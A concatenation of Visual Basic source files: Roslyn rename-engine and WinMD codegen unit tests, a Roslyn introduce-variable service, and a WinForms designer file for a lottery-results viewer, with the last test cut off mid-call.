Public Sub Goo() Implements {|Resolve:F|}.I.Goo End Sub End Class Private Class [|$$K|] End Class End Class </Document> </Project> </Workspace>, renameTo:="F") result.AssertLabeledSpansAre("Resolve", "N", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(768910, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/768910")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub RenameInCrefPreservesWhitespaceTrivia() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.vb"> <![CDATA[ Public Class A Public Class B Public Class C End Class ''' <summary> ''' <see cref=" {|Resolve:D|}"/> ''' ''' </summary> Shared Sub [|$$goo|]() ' Rename goo to D End Sub End Class Public Class D End Class End Class ]]> </Document> </Project> </Workspace>, renameTo:="D") result.AssertLabeledSpansAre("Resolve", "A.D", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(1016652, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1016652")> Public Sub VB_ConflictBetweenTypeNamesInTypeConstraintSyntax() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Imports System.Collections.Generic Public Interface {|unresolved1:$$INamespaceSymbol|} End Interface Public Interface {|DeclConflict:ISymbol|} End Interface Public Interface IReferenceFinder End Interface Friend MustInherit Partial Class AbstractReferenceFinder(Of TSymbol As {|unresolved2:INamespaceSymbol|}) Implements IReferenceFinder End Class ]]></Document> </Project> </Workspace>, renameTo:="ISymbol") result.AssertLabeledSpansAre("DeclConflict", type:=RelatedLocationType.UnresolvedConflict) result.AssertLabeledSpansAre("unresolved1", type:=RelatedLocationType.UnresolvedConflict) result.AssertLabeledSpansAre("unresolved2", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(905, "https://github.com/dotnet/roslyn/issues/905")> Public Sub RenamingCompilerGeneratedPropertyBackingField_InvokeFromProperty() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Class C1 Public ReadOnly Property [|X$$|] As String Sub M() {|backingfield:_X|} = "test" End Sub End Class </Document> </Project> </Workspace>, renameTo:="Y") result.AssertLabeledSpecialSpansAre("backingfield", "_Y", type:=RelatedLocationType.NoConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(905, "https://github.com/dotnet/roslyn/issues/905")> Public Sub RenamingCompilerGeneratedPropertyBackingField_IntroduceConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Class C1 Public ReadOnly Property [|X$$|] As String Sub M() {|Conflict:_X|} = "test" End Sub Dim _Y As String End Class </Document> </Project> </Workspace>, renameTo:="Y") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <WpfFact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(905, "https://github.com/dotnet/roslyn/issues/905")> Public Sub RenamingCompilerGeneratedPropertyBackingField_InvokableFromBackingFieldReference() Using workspace = CreateWorkspaceWithWaiter( <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Class C1 Public ReadOnly Property [|X|] As String Sub M() {|backingfield:_X$$|} = "test" End Sub End Class </Document> </Project> </Workspace>) AssertTokenRenamable(workspace) End Using End Sub <WorkItem(1193, "https://github.com/dotnet/roslyn/issues/1193")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub MemberQualificationInNameOfUsesTypeName_StaticReferencingInstance() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Class C Shared Sub F([|$$z|] As Integer) Dim x = NameOf({|ref:zoo|}) End Sub Dim zoo As Integer End Class </Document> </Project> </Workspace>, renameTo:="zoo") result.AssertLabeledSpansAre("ref", "Dim x = NameOf(C.zoo)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(1193, "https://github.com/dotnet/roslyn/issues/1193")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub MemberQualificationInNameOfUsesTypeName_InstanceReferencingStatic() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Class C Sub F([|$$z|] As Integer) Dim x = NameOf({|ref:zoo|}) End Sub Shared zoo As Integer End Class </Document> </Project> </Workspace>, renameTo:="zoo") result.AssertLabeledSpansAre("ref", "Dim x = NameOf(C.zoo)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(1193, "https://github.com/dotnet/roslyn/issues/1193")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub MemberQualificationInNameOfUsesTypeName_InstanceReferencingInstance() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" AssemblyName="Project1" CommonReferences="true"> <Document> Class C Sub F([|$$z|] As Integer) Dim x = NameOf({|ref:zoo|}) End Sub Dim zoo As Integer End Class </Document> </Project> </Workspace>, renameTo:="zoo") result.AssertLabeledSpansAre("ref", "Dim x = NameOf(C.zoo)", RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <WorkItem(1027506, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1027506")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub TestConflictBetweenClassAndInterface1() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class {|conflict:C|} End Class Interface [|$$I|] End Interface ]]> </Document> </Project> </Workspace>, renameTo:="C") result.AssertLabeledSpansAre("conflict", "C", RelatedLocationType.UnresolvableConflict) End Using End Sub <WorkItem(1027506, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1027506")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub TestConflictBetweenClassAndInterface2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class [|$$C|] End Class Interface {|conflict:I|} End Interface ]]> </Document> </Project> </Workspace>, renameTo:="I") result.AssertLabeledSpansAre("conflict", "I", RelatedLocationType.UnresolvableConflict) End Using End Sub <WorkItem(1027506, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1027506")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub TestConflictBetweenClassAndNamespace1() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class {|conflict:$$C|} End Class Namespace N End Namespace ]]> </Document> </Project> </Workspace>, renameTo:="N") result.AssertLabeledSpansAre("conflict", "N", RelatedLocationType.UnresolvableConflict) End Using End Sub <WorkItem(1027506, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1027506")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub TestConflictBetweenClassAndNamespace2() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class {|conflict:C|} End Class Namespace [|$$N|] End Namespace ]]> </Document> </Project> </Workspace>, renameTo:="C") result.AssertLabeledSpansAre("conflict", "C", RelatedLocationType.UnresolvableConflict) End Using End Sub <WorkItem(1027506, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/1027506")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub TestNoConflictBetweenTwoNamespaces() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Namespace [|$$N1|] End Namespace Namespace N2 End Namespace ]]> </Document> </Project> </Workspace>, renameTo:="N2") End Using End Sub <WorkItem(1195, "https://github.com/dotnet/roslyn/issues/1195")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub NameOfReferenceNoConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class C Sub [|T$$|](x As Integer) End Sub Sub Test() Dim x = NameOf(Test) End Sub End Class ]]> </Document> </Project> </Workspace>, renameTo:="Test") End Using End Sub <WorkItem(1195, "https://github.com/dotnet/roslyn/issues/1195")> <Fact, Trait(Traits.Feature, Traits.Features.Rename)> Public Sub NameOfReferenceWithConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class C Sub Test() Dim [|T$$|] As Integer Dim x = NameOf({|conflict:Test|}) End Sub End Class ]]> </Document> </Project> </Workspace>, renameTo:="Test") result.AssertLabeledSpansAre("conflict", "Test", RelatedLocationType.UnresolvedConflict) End Using End Sub <WorkItem(1031, "https://github.com/dotnet/roslyn/issues/1031")> <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub InvalidNamesDoNotCauseCrash_IntroduceQualifiedName() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class {|conflict:C$$|} End Class ]]> </Document> </Project> </Workspace>, renameTo:="C.D") result.AssertReplacementTextInvalid() result.AssertLabeledSpansAre("conflict", "C.D", RelatedLocationType.UnresolvedConflict) End Using End Sub <WorkItem(1031, "https://github.com/dotnet/roslyn/issues/1031")> <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> Public Sub InvalidNamesDoNotCauseCrash_AccidentallyPasteLotsOfCode() Dim renameTo = " Class C Sub M() System.Console.WriteLine(""Hello, Test!"") End Sub End Class" Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document FilePath="Test.cs"><![CDATA[ Class {|conflict:C$$|} End Class ]]> </Document> </Project> </Workspace>, renameTo) result.AssertReplacementTextInvalid() result.AssertLabeledSpansAre("conflict", renameTo, RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(7440, "https://github.com/dotnet/roslyn/issues/7440")> Public Sub RenameTypeParameterInPartialClass() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Partial Class C(Of [|$$T|]) End Class Partial Class C(Of [|T|]) End Class ]]> </Document> </Project> </Workspace>, renameTo:="T2") End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(7440, "https://github.com/dotnet/roslyn/issues/7440")> Public Sub RenameMethodToConflictWithTypeParameter() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Partial Class C(Of {|Conflict:T|}) Sub [|$$M|]() End Sub End Class Partial Class C(Of {|Conflict:T|}) End Class ]]> </Document> </Project> </Workspace>, renameTo:="T") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(16576, "https://github.com/dotnet/roslyn/issues/16576")> Public Sub RenameParameterizedPropertyResolvedConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Public Class C Public ReadOnly Property P(a As Object) As Int32 Get Return 2 End Get End Property Public ReadOnly Property [|$$P2|](a As String) As Int32 Get Return {|Conflict0:P|}("") End Get End Property End Class ]]> </Document> </Project> </Workspace>, renameTo:="P") result.AssertLabeledSpansAre("Conflict0", replacement:="Return P(CObj(""""))", type:=RelatedLocationType.ResolvedNonReferenceConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(16576, "https://github.com/dotnet/roslyn/issues/16576")> Public Sub RenameParameterizedPropertyUnresolvedConflict() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Public Class C Public ReadOnly Property {|Conflict:P|}(a As String) As Int32 Get Return 2 End Get End Property Public ReadOnly Property [|$$P2|](a As String) As Int32 Get Return 3 End Get End Property End Class ]]> </Document> </Project> </Workspace>, renameTo:="P") result.AssertLabeledSpansAre("Conflict", type:=RelatedLocationType.UnresolvedConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(10469, "https://github.com/dotnet/roslyn/issues/10469")> Public Sub RenameTypeToCurrent() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document> Class {|current:$$C|} End Class </Document> </Project> </Workspace>, renameTo:="Current") result.AssertLabeledSpansAre("current", type:=RelatedLocationType.NoConflict) End Using End Sub <Fact> <Trait(Traits.Feature, Traits.Features.Rename)> <WorkItem(32086, "https://github.com/dotnet/roslyn/issues/32086")> Public Sub InvalidControlVariableInForLoopDoNotCrash() Using result = RenameEngineResult.Create(_outputHelper, <Workspace> <Project Language="Visual Basic" CommonReferences="true"> <Document><![CDATA[ Module Program Sub Main() Dim [|$$val|] As Integer = 10 For (Int() i = 0; i < val; i++) End Sub End Module ]]></Document> </Project> </Workspace>, renameTo:="v") End Using End Sub End Class End Class End Namespace
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class frmViewLottoResult Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Dim DataGridViewCellStyle3 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Me.btnClose = New System.Windows.Forms.Button() Me.GroupBox1 = New System.Windows.Forms.GroupBox() Me.DataGridView1 = New System.Windows.Forms.DataGridView() Me.lottoresultid = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DateAndTimeAdded = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn1 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn2 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn3 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn4 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn5 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DataGridViewTextBoxColumn6 = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.LottoType = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.JackpotPrice = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.DateLottoDraw = New System.Windows.Forms.DataGridViewTextBoxColumn() Me.GroupBox1.SuspendLayout() CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() ' 'btnClose ' Me.btnClose.BackColor = System.Drawing.Color.SteelBlue Me.btnClose.FlatStyle = System.Windows.Forms.FlatStyle.Popup Me.btnClose.Font = New System.Drawing.Font("Monotype Corsiva", 12.0!, CType((System.Drawing.FontStyle.Bold Or System.Drawing.FontStyle.Italic), System.Drawing.FontStyle)) Me.btnClose.ForeColor = System.Drawing.Color.DarkRed Me.btnClose.Location = New System.Drawing.Point(384, 207) Me.btnClose.Name = "btnClose" Me.btnClose.Size = New System.Drawing.Size(106, 36) Me.btnClose.TabIndex = 0 Me.btnClose.Text = "Close" Me.btnClose.UseVisualStyleBackColor = False ' 'GroupBox1 ' Me.GroupBox1.Controls.Add(Me.DataGridView1) Me.GroupBox1.ForeColor = System.Drawing.Color.GreenYellow Me.GroupBox1.Location = New System.Drawing.Point(1, 0) Me.GroupBox1.Name = "GroupBox1" Me.GroupBox1.Size = New System.Drawing.Size(888, 203) Me.GroupBox1.TabIndex = 3 Me.GroupBox1.TabStop = False Me.GroupBox1.Text = "Lotto Recent Draw Result" ' 'DataGridView1 ' Me.DataGridView1.AllowUserToAddRows = False Me.DataGridView1.AllowUserToDeleteRows = False Me.DataGridView1.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.ColumnHeader Me.DataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView1.Columns.AddRange(New System.Windows.Forms.DataGridViewColumn() {Me.lottoresultid, Me.DateAndTimeAdded, Me.DataGridViewTextBoxColumn1, Me.DataGridViewTextBoxColumn2, Me.DataGridViewTextBoxColumn3, Me.DataGridViewTextBoxColumn4, Me.DataGridViewTextBoxColumn5, Me.DataGridViewTextBoxColumn6, Me.LottoType, Me.JackpotPrice, Me.DateLottoDraw}) Me.DataGridView1.Dock = System.Windows.Forms.DockStyle.Fill Me.DataGridView1.Location = New System.Drawing.Point(3, 16) Me.DataGridView1.Name = "DataGridView1" Me.DataGridView1.ReadOnly = True DataGridViewCellStyle3.Font = New System.Drawing.Font("Microsoft YaHei UI", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) DataGridViewCellStyle3.ForeColor = System.Drawing.Color.MediumBlue Me.DataGridView1.RowsDefaultCellStyle = DataGridViewCellStyle3 Me.DataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect Me.DataGridView1.Size = New System.Drawing.Size(882, 184) Me.DataGridView1.TabIndex = 6 Me.DataGridView1.TabStop = False ' 'lottoresultid ' Me.lottoresultid.DataPropertyName = "lottoresultid" Me.lottoresultid.HeaderText = "lottoresultid" Me.lottoresultid.Name = "lottoresultid" Me.lottoresultid.ReadOnly = True Me.lottoresultid.Visible = False Me.lottoresultid.Width = 85 ' 'DateAndTimeAdded ' Me.DateAndTimeAdded.DataPropertyName = "DateAndTimeAdded" Me.DateAndTimeAdded.HeaderText = "DateAndTimeAdded" Me.DateAndTimeAdded.Name = "DateAndTimeAdded" Me.DateAndTimeAdded.ReadOnly = True Me.DateAndTimeAdded.Width = 128 ' 'DataGridViewTextBoxColumn1 ' Me.DataGridViewTextBoxColumn1.DataPropertyName = "1stNumberResult" Me.DataGridViewTextBoxColumn1.HeaderText = "Number1" Me.DataGridViewTextBoxColumn1.Name = "DataGridViewTextBoxColumn1" Me.DataGridViewTextBoxColumn1.ReadOnly = True Me.DataGridViewTextBoxColumn1.Width = 75 ' 'DataGridViewTextBoxColumn2 ' Me.DataGridViewTextBoxColumn2.DataPropertyName = "2ndNumberResult" Me.DataGridViewTextBoxColumn2.HeaderText = "Number2" Me.DataGridViewTextBoxColumn2.Name = "DataGridViewTextBoxColumn2" Me.DataGridViewTextBoxColumn2.ReadOnly = True Me.DataGridViewTextBoxColumn2.Width = 75 ' 'DataGridViewTextBoxColumn3 ' Me.DataGridViewTextBoxColumn3.DataPropertyName = "3rdNumberResult" Me.DataGridViewTextBoxColumn3.HeaderText = "Number3" Me.DataGridViewTextBoxColumn3.Name = "DataGridViewTextBoxColumn3" Me.DataGridViewTextBoxColumn3.ReadOnly = True Me.DataGridViewTextBoxColumn3.Width = 75 ' 'DataGridViewTextBoxColumn4 ' Me.DataGridViewTextBoxColumn4.DataPropertyName = "4thNumberResult" Me.DataGridViewTextBoxColumn4.HeaderText = "Number4" Me.DataGridViewTextBoxColumn4.Name = "DataGridViewTextBoxColumn4" Me.DataGridViewTextBoxColumn4.ReadOnly = True Me.DataGridViewTextBoxColumn4.Width = 75 ' 'DataGridViewTextBoxColumn5 ' Me.DataGridViewTextBoxColumn5.DataPropertyName = "5thNumberResult" Me.DataGridViewTextBoxColumn5.HeaderText = "Number5" Me.DataGridViewTextBoxColumn5.Name = "DataGridViewTextBoxColumn5" Me.DataGridViewTextBoxColumn5.ReadOnly = True Me.DataGridViewTextBoxColumn5.Width = 75 ' 'DataGridViewTextBoxColumn6 ' Me.DataGridViewTextBoxColumn6.DataPropertyName = "6thNumberResult" Me.DataGridViewTextBoxColumn6.HeaderText = "Number6" Me.DataGridViewTextBoxColumn6.Name = "DataGridViewTextBoxColumn6" Me.DataGridViewTextBoxColumn6.ReadOnly = True Me.DataGridViewTextBoxColumn6.Width = 75 ' 'LottoType ' Me.LottoType.DataPropertyName = "LottoTypeResult" Me.LottoType.HeaderText = "LT" Me.LottoType.Name = "LottoType" Me.LottoType.ReadOnly = True Me.LottoType.Width = 45 ' 'JackpotPrice ' Me.JackpotPrice.DataPropertyName = "JackpotPrice" Me.JackpotPrice.HeaderText = "JackpotPrice" Me.JackpotPrice.Name = "JackpotPrice" Me.JackpotPrice.ReadOnly = True Me.JackpotPrice.Width = 94 ' 'DateLottoDraw ' Me.DateLottoDraw.DataPropertyName = "DateLottoDraw" Me.DateLottoDraw.HeaderText = "DateLottoDraw" Me.DateLottoDraw.Name = "DateLottoDraw" Me.DateLottoDraw.ReadOnly = True Me.DateLottoDraw.Width = 104 ' 'frmViewLottoResult ' Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.BackColor = System.Drawing.SystemColors.ControlDark Me.ClientSize = New System.Drawing.Size(889, 247) Me.Controls.Add(Me.GroupBox1) Me.Controls.Add(Me.btnClose) Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None Me.Name = "frmViewLottoResult" Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen Me.Text = "frmViewLottoResult" Me.GroupBox1.ResumeLayout(False) CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).EndInit() Me.ResumeLayout(False) End Sub Friend WithEvents btnClose As System.Windows.Forms.Button Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox Friend WithEvents DataGridView1 As System.Windows.Forms.DataGridView Friend WithEvents lottoresultid As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DateAndTimeAdded As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn1 As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn2 As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn3 As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn4 As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn5 As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DataGridViewTextBoxColumn6 As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents LottoType As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents JackpotPrice As System.Windows.Forms.DataGridViewTextBoxColumn Friend WithEvents DateLottoDraw As System.Windows.Forms.DataGridViewTextBoxColumn End Class
' Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System.Threading Imports Microsoft.CodeAnalysis Imports Microsoft.CodeAnalysis.IntroduceVariable Imports Microsoft.CodeAnalysis.Host Imports Microsoft.CodeAnalysis.Host.Mef Imports Microsoft.CodeAnalysis.Text Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Imports System.Composition Namespace Microsoft.CodeAnalysis.VisualBasic.IntroduceVariable <ExportLanguageService(GetType(IIntroduceVariableService), LanguageNames.VisualBasic), [Shared]> Friend Class VisualBasicIntroduceVariableService Inherits AbstractIntroduceVariableService(Of VisualBasicIntroduceVariableService, ExpressionSyntax, TypeSyntax, TypeBlockSyntax, QueryExpressionSyntax) Protected Overrides Function GetContainingExecutableBlocks(expression As ExpressionSyntax) As IEnumerable(Of SyntaxNode) Return expression.GetContainingExecutableBlocks() End Function Protected Overrides Function GetInsertionIndices(destination As TypeBlockSyntax, cancellationToken As CancellationToken) As IList(Of Boolean) Return destination.GetInsertionIndices(cancellationToken) End Function Protected Overrides Function IsInAttributeArgumentInitializer(expression As ExpressionSyntax) As Boolean If expression.GetAncestorOrThis(Of ArgumentSyntax)() Is Nothing Then Return False End If If expression.GetAncestorOrThis(Of AttributeSyntax)() Is Nothing Then Return False End If If expression.DepthFirstTraversal.Any(Function(n) n.Kind() = SyntaxKind.ArrayCreationExpression) OrElse expression.DepthFirstTraversal.Any(Function(n) n.Kind() = SyntaxKind.GetTypeExpression) Then Return False End If Dim attributeBlock = expression.GetAncestorOrThis(Of AttributeListSyntax)() If attributeBlock.IsParentKind(SyntaxKind.CompilationUnit) Then Return False End If Return True End Function Protected Overrides Function IsInConstructorInitializer(expression As ExpressionSyntax) As Boolean Dim constructorInitializer = expression.GetAncestorsOrThis(Of StatementSyntax)(). Where(Function(n) n.IsConstructorInitializer()). FirstOrDefault() If constructorInitializer Is Nothing Then Return False End If ' have to make sure we're not inside a lambda inside the constructor initializer. If expression.GetAncestorOrThis(Of LambdaExpressionSyntax)() IsNot Nothing Then Return False End If Return True End Function Protected Overrides Function CanIntroduceVariableFor(expression As ExpressionSyntax) As Boolean expression = expression.WalkUpParentheses() If TypeOf expression.Parent Is CallStatementSyntax Then Return False End If If Not expression.GetImplicitMemberAccessExpressions.All(Function(e) e.IsParentKind(SyntaxKind.WithStatement)) Then Return False End If If expression.IsParentKind(SyntaxKind.EqualsValue) AndAlso expression.Parent.IsParentKind(SyntaxKind.VariableDeclarator) Then Return False End If Return True End Function Protected Overrides Function IsInFieldInitializer(expression As ExpressionSyntax) As Boolean If expression.GetAncestorOrThis(Of VariableDeclaratorSyntax)().GetAncestorOrThis(Of FieldDeclarationSyntax)() IsNot Nothing Then Return True End If Dim propertyStatement = expression.GetAncestorOrThis(Of PropertyStatementSyntax)() If propertyStatement IsNot Nothing Then Return expression.GetAncestorsOrThis(Of AsClauseSyntax).Contains(propertyStatement.AsClause) End If Return False End Function Protected Overrides Function IsInNonFirstQueryClause(expression As ExpressionSyntax) As Boolean Dim query = expression.GetAncestor(Of QueryExpressionSyntax)() If query Is Nothing Then Return False End If ' Can't introduce for the first clause in a query. Dim fromClause = expression.GetAncestor(Of FromClauseSyntax)() If fromClause IsNot Nothing AndAlso query.Clauses.First() Is fromClause Then Return False End If Return True End Function Protected Overrides Function IsInParameterInitializer(expression As ExpressionSyntax) As Boolean Return expression.GetAncestorOrThis(Of EqualsValueSyntax)().IsParentKind(SyntaxKind.Parameter) End Function Protected Overrides Function IsInExpressionBodiedMember(expression As ExpressionSyntax) As Boolean Return False End Function Protected Overrides Function CanReplace(expression As ExpressionSyntax) As Boolean If expression.CheckParent(Of RangeArgumentSyntax)(Function(n) n.LowerBound Is expression) Then Return False End If Return True End Function Protected Overrides Function RewriteCore(Of TNode As SyntaxNode)(node As TNode, replacementNode As SyntaxNode, matches As ISet(Of ExpressionSyntax)) As TNode Return DirectCast(Rewriter.Visit(node, replacementNode, matches), TNode) End Function Protected Overrides Function BlockOverlapsHiddenPosition(block As SyntaxNode, cancellationToken As CancellationToken) As Boolean Dim statements = block.GetStatements() If statements.Count = 0 Then Return block.OverlapsHiddenPosition(cancellationToken) End If Dim first = statements.First() Dim last = statements.Last() Return block.OverlapsHiddenPosition(TextSpan.FromBounds(first.SpanStart, last.SpanStart), cancellationToken) End Function End Class End Namespace
' Copyright (c) Microsoft Open Technologies, Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports Microsoft.CodeAnalysis Imports Microsoft.CodeAnalysis.Test.Utilities Imports Microsoft.CodeAnalysis.VisualBasic Imports Roslyn.Test.Utilities Imports ProprietaryTestResources = Microsoft.CodeAnalysis.Test.Resources.Proprietary Namespace Microsoft.CodeAnalysis.VisualBasic.UnitTests Public Class CodeGenWinMdEvents Inherits BasicTestBase <Fact()> Public Sub MissingReferences_SyntehesizedAccessors() Dim source = <compilation name="MissingReferences"> <file name="a.vb"> Class C Event E As System.Action End Class </file> </compilation> Dim comp = CreateCompilationWithMscorlib(source, OutputKind.WindowsRuntimeMetadata) ' 3 for the backing field and each accessor. comp.VerifyDiagnostics( Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationTokenTable(Of )", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj"), Diagnostic(ERRID.ERR_TypeRefResolutionError3, "E").WithArguments("System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken", "MissingReferences.winmdobj")) ' Throws *test* exception, but does not assert or throw produce exception. Assert.Throws(Of EmitException)(Sub() CompileAndVerify(comp)) End Sub <Fact()> Public Sub MissingReferences_AddHandler() Dim source = <compilation name="MissingReferences"> <file name="a.vb"> Class C Event E As System.Action Sub Test() AddHandler E, Nothing End Sub End Class </file> </compilation> Dim comp = CreateCompilationWithMscorlib(source, OutputKind.WindowsRuntimeMetadata) ' 3 for the backing field and each accessor. ' 1 for the AddHandler statement comp.VerifyEmitDiagnostics( 